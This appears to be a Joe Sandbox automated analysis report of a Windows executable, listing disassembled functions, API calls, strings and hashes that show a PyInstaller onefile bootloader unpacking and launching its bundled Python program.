GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88A56

Part of subcall function 00007FF714C9A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9A490

Part of subcall function 00007FF714C9871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714C98783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88AE6
CreateProcessW.KERNELBASE ref: 00007FF714C88B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88B28

Part of subcall function 00007FF714C82C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82C9E
Part of subcall function 00007FF714C82C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82D63
Part of subcall function 00007FF714C82C50: MessageBoxW.USER32 ref: 00007FF714C82D99

RegisterClassW.USER32 ref: 00007FF714C88B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88B8B
CreateWindowExW.USER32 ref: 00007FF714C88BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88C15
PeekMessageW.USER32 ref: 00007FF714C88C39
TranslateMessage.USER32 ref: 00007FF714C88C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88C51
PeekMessageW.USER32 ref: 00007FF714C88C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88E04
GetExitCodeProcess.KERNELBASE ref: 00007FF714C88E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF714C88B54
PyInstaller Onefile Hidden Window, xrefs: 00007FF714C88B95
Failed to create child process!, xrefs: 00007FF714C88B30
CreateProcessW, xrefs: 00007FF714C88B37

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 32577c0339d7cc267d83ba3f24ed32191e58486f1d07f23a856788adc07803f0
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 22D17A32A04E8385E710AF76E8952AEB760FF85B64F900536DB5D43A94EF3CD549C720

Function 00007FF714C81000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF714C83EB3
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF714C83E9E
_PYI_SPLASH_IPC, xrefs: 00007FF714C83A23, 00007FF714C83EED
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF714C83882, 00007FF714C838AF
Failed to start splash screen!, xrefs: 00007FF714C83ECC
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF714C83D35
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF714C839DE
_PYI_ARCHIVE_FILE, xrefs: 00007FF714C838D2, 00007FF714C839FF
MEI, xrefs: 00007FF714C83933
Failed to convert DLL search path!, xrefs: 00007FF714C83DD4
pkg, xrefs: 00007FF714C839BE
Could not create temporary directory!, xrefs: 00007FF714C83CBF
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF714C83BE8
Failed to load splash screen resources!, xrefs: 00007FF714C83E7D
Failed to remove temporary directory: %s, xrefs: 00007FF714C83FC7
VCRUNTIME140.dll, xrefs: 00007FF714C83DA9
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF714C83971
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF714C83E02
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF714C83B32
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF714C83A17, 00007FF714C83A2F, 00007FF714C83A9B
Py_GIL_DISABLED, xrefs: 00007FF714C83AF4
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF714C83D12
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF714C83A0B, 00007FF714C83CD4, 00007FF714C83F63
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF714C83C61
pyi-contents-directory, xrefs: 00007FF714C83B8D
pyi-runtime-tmpdir, xrefs: 00007FF714C83B68
pyi-python-flag, xrefs: 00007FF714C83AD6
pyi-disable-windowed-traceback, xrefs: 00007FF714C83BB2

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 0521423bedf0c23ef4483b598af0ac91be45681437f26730e4199ade94993b9f
Instruction ID: c8326b338dc98d6091d0f6e779b0a7d70fcd6cb88f53e71bb00f11fcf08af478
Opcode Fuzzy Hash: 0521423bedf0c23ef4483b598af0ac91be45681437f26730e4199ade94993b9f
Instruction Fuzzy Hash: 3032A022A0CE8351EB14BF23D4D62B9A291AF467A0FC45437DA4D436E6EF2DE55CC320

Function 00007FF714CA5C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF714CA5C45

Part of subcall function 00007FF714CA5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA55AC

Part of subcall function 00007FF714C9A948: RtlFreeHeap.NTDLL(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A95E
Part of subcall function 00007FF714C9A948: GetLastError.KERNEL32(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A968

Part of subcall function 00007FF714C9A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF714C9A8DF,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9A909
Part of subcall function 00007FF714C9A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF714C9A8DF,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9A92E

_get_daylight.LIBCMT ref: 00007FF714CA5C34

Part of subcall function 00007FF714CA55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA560C

_get_daylight.LIBCMT ref: 00007FF714CA5EAA
_get_daylight.LIBCMT ref: 00007FF714CA5EBB
_get_daylight.LIBCMT ref: 00007FF714CA5ECC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF714CA610C), ref: 00007FF714CA5EF3

Strings

Eastern Standard Time, xrefs: 00007FF714CA5F99
Eastern Summer Time, xrefs: 00007FF714CA5FB1

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: fb17e9d17409a53a7c9ecf0bf649c2c0ddf5f227d208f6d2b752614e0e671b8d
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: 62D1D423B18A4245E720BF27D8C01B9A761FF96BA4FD48437EA0D47695EF3CE4498760

Function 00007FF714CA6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF714CA6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA66D9
Part of subcall function 00007FF714CA6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA6757
Part of subcall function 00007FF714CA6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA67A8

CreateFileW.KERNELBASE ref: 00007FF714CA6A6A
CreateFileW.KERNEL32 ref: 00007FF714CA6ABA
GetLastError.KERNEL32 ref: 00007FF714CA6AEA
GetFileType.KERNELBASE ref: 00007FF714CA6AFF
GetLastError.KERNEL32 ref: 00007FF714CA6B09
CloseHandle.KERNEL32 ref: 00007FF714CA6B3C
CloseHandle.KERNEL32 ref: 00007FF714CA6C9F
CreateFileW.KERNEL32 ref: 00007FF714CA6CD4
GetLastError.KERNEL32 ref: 00007FF714CA6CE3

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 8097982ec5e9aaec49e6ac0162921c40272b3f44d9224b49e23e724b26be6545
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: E4C1E237B28E4285EB10EF66D4902AC7761F78ABA8B910636DF5E57794EF38D019C310

Function 00007FF714C883C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C8842B
RemoveDirectoryW.KERNEL32(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C884AE
DeleteFileW.KERNELBASE(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C884CD
FindNextFileW.KERNELBASE(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C884DB
FindClose.KERNEL32(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C884EC
RemoveDirectoryW.KERNELBASE(?,00007FF714C88919,00007FF714C83F9D), ref: 00007FF714C884F5

Strings

%s\*, xrefs: 00007FF714C883F2

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 0612392ed9a896471bf0be092fcd034afea9ba0aa34879d3d4b45e2e3a5b2404
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: FB414622A0CD4395EA20AF56F4D91BAA360FB96B64FD00633D65D42A98EF3CD54D8720

Function 00007FF714CA5E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF714CA5EAA

Part of subcall function 00007FF714CA55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA560C

_get_daylight.LIBCMT ref: 00007FF714CA5EBB

Part of subcall function 00007FF714CA5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA55AC

_get_daylight.LIBCMT ref: 00007FF714CA5ECC

Part of subcall function 00007FF714CA55C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA55DC

Part of subcall function 00007FF714C9A948: RtlFreeHeap.NTDLL(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A95E
Part of subcall function 00007FF714C9A948: GetLastError.KERNEL32(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A968

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF714CA610C), ref: 00007FF714CA5EF3

Strings

Eastern Standard Time, xrefs: 00007FF714CA5F99
Eastern Summer Time, xrefs: 00007FF714CA5FB1

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 0a32cc04e8e1c823f237ed70469219bfbb8023bfa10ad9021db86342bb760dde
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: BC51A932B18A4245E710FF23E8C11B9E760BB5ABA4FD09537DA4D43695EF3CE5098760

Function 00007FF714C89280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF714C892B3
FindClose.KERNELBASE ref: 00007FF714C892C2

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 02f39e2e4d1e7c7e8412cc8f67cb8882d520f1f74071f349b03d88f3c7930d19
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 45F0A422A18A4286F7A09F61F4C97BAB360EB85774F840636DA6D02AD5DF3CD04C8A00

Function 00007FF714C81950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF714C87F90: _fread_nolock.LIBCMT ref: 00007FF714C8803A

_fread_nolock.LIBCMT ref: 00007FF714C81A1B

Part of subcall function 00007FF714C82910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF714C81B6A), ref: 00007FF714C8295E

Strings

malloc, xrefs: 00007FF714C81B22
Could not allocate buffer for TOC!, xrefs: 00007FF714C81B1B
Error on file., xrefs: 00007FF714C81B8D
MEI, xrefs: 00007FF714C81991
Could not read full TOC!, xrefs: 00007FF714C81B55
Could not allocate memory for archive structure!, xrefs: 00007FF714C81A61
fseek, xrefs: 00007FF714C819F5
Failed to seek to cookie position!, xrefs: 00007FF714C819EE
fread, xrefs: 00007FF714C81A32, 00007FF714C81B5C
calloc, xrefs: 00007FF714C81A68
Failed to read cookie!, xrefs: 00007FF714C81A2B

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction ID: ee01b7d6b4ffe2564bc6df3c1406c8cf01f4f183c0eab1b522d3219be5fff6b1
Opcode Fuzzy Hash: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction Fuzzy Hash: D9819371A0CE8785EB20EF26D4812B9A3E1FF86764F944433DA4D47785EE3CE5498760

Function 00007FF714C81600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF714C81749
fwrite, xrefs: 00007FF714C817D1
fopen, xrefs: 00007FF714C81663
Failed to extract %s: failed to open target file!, xrefs: 00007FF714C8165C
fseek, xrefs: 00007FF714C816E1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF714C816DA
fread, xrefs: 00007FF714C817E6
Failed to extract %s: failed to open archive file!, xrefs: 00007FF714C816A2
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF714C81742
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF714C817DF
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF714C817CA
Failed to create symbolic link %s!, xrefs: 00007FF714C81622

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction ID: 1c6502b9623acf7845e2382c3a0eb814c91e1e21e60fe64a3f82159c662c620d
Opcode Fuzzy Hash: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction Fuzzy Hash: 8F517361A08E4791EA10BF53D4811A9E391BF86BB4FD44937DE4C47696FE3CE54D8320

Function 00007FF714C88660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF714C83CBB), ref: 00007FF714C88704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF714C83CBB), ref: 00007FF714C8870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF714C83CBB), ref: 00007FF714C8874C

Part of subcall function 00007FF714C88830: GetEnvironmentVariableW.KERNEL32(00007FF714C8388E), ref: 00007FF714C88867
Part of subcall function 00007FF714C88830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF714C88889

Part of subcall function 00007FF714C98238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714C98251

Part of subcall function 00007FF714C82810: MessageBoxW.USER32 ref: 00007FF714C828EA

Strings

LOADER: failed to set the TMP environment variable., xrefs: 00007FF714C886DC
_MEI%d, xrefs: 00007FF714C88712
TMP, xrefs: 00007FF714C8869C, 00007FF714C887A3
TMP, xrefs: 00007FF714C886C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF714C8877E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: ef332e5a052d99bf6ecd2b29fb1da69cba363bd06c1de48685650c4a82f108e4
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: 7E419412A19E4350E914BF63E8D61BA9251AF46BE4FC00133ED0D47A96EE3CE5098270

Function 00007FF714C81210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF714C812C1, 00007FF714C812F6
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF714C812EF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF714C812BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF714C81276
1.3.1, xrefs: 00007FF714C81249
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF714C8141E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
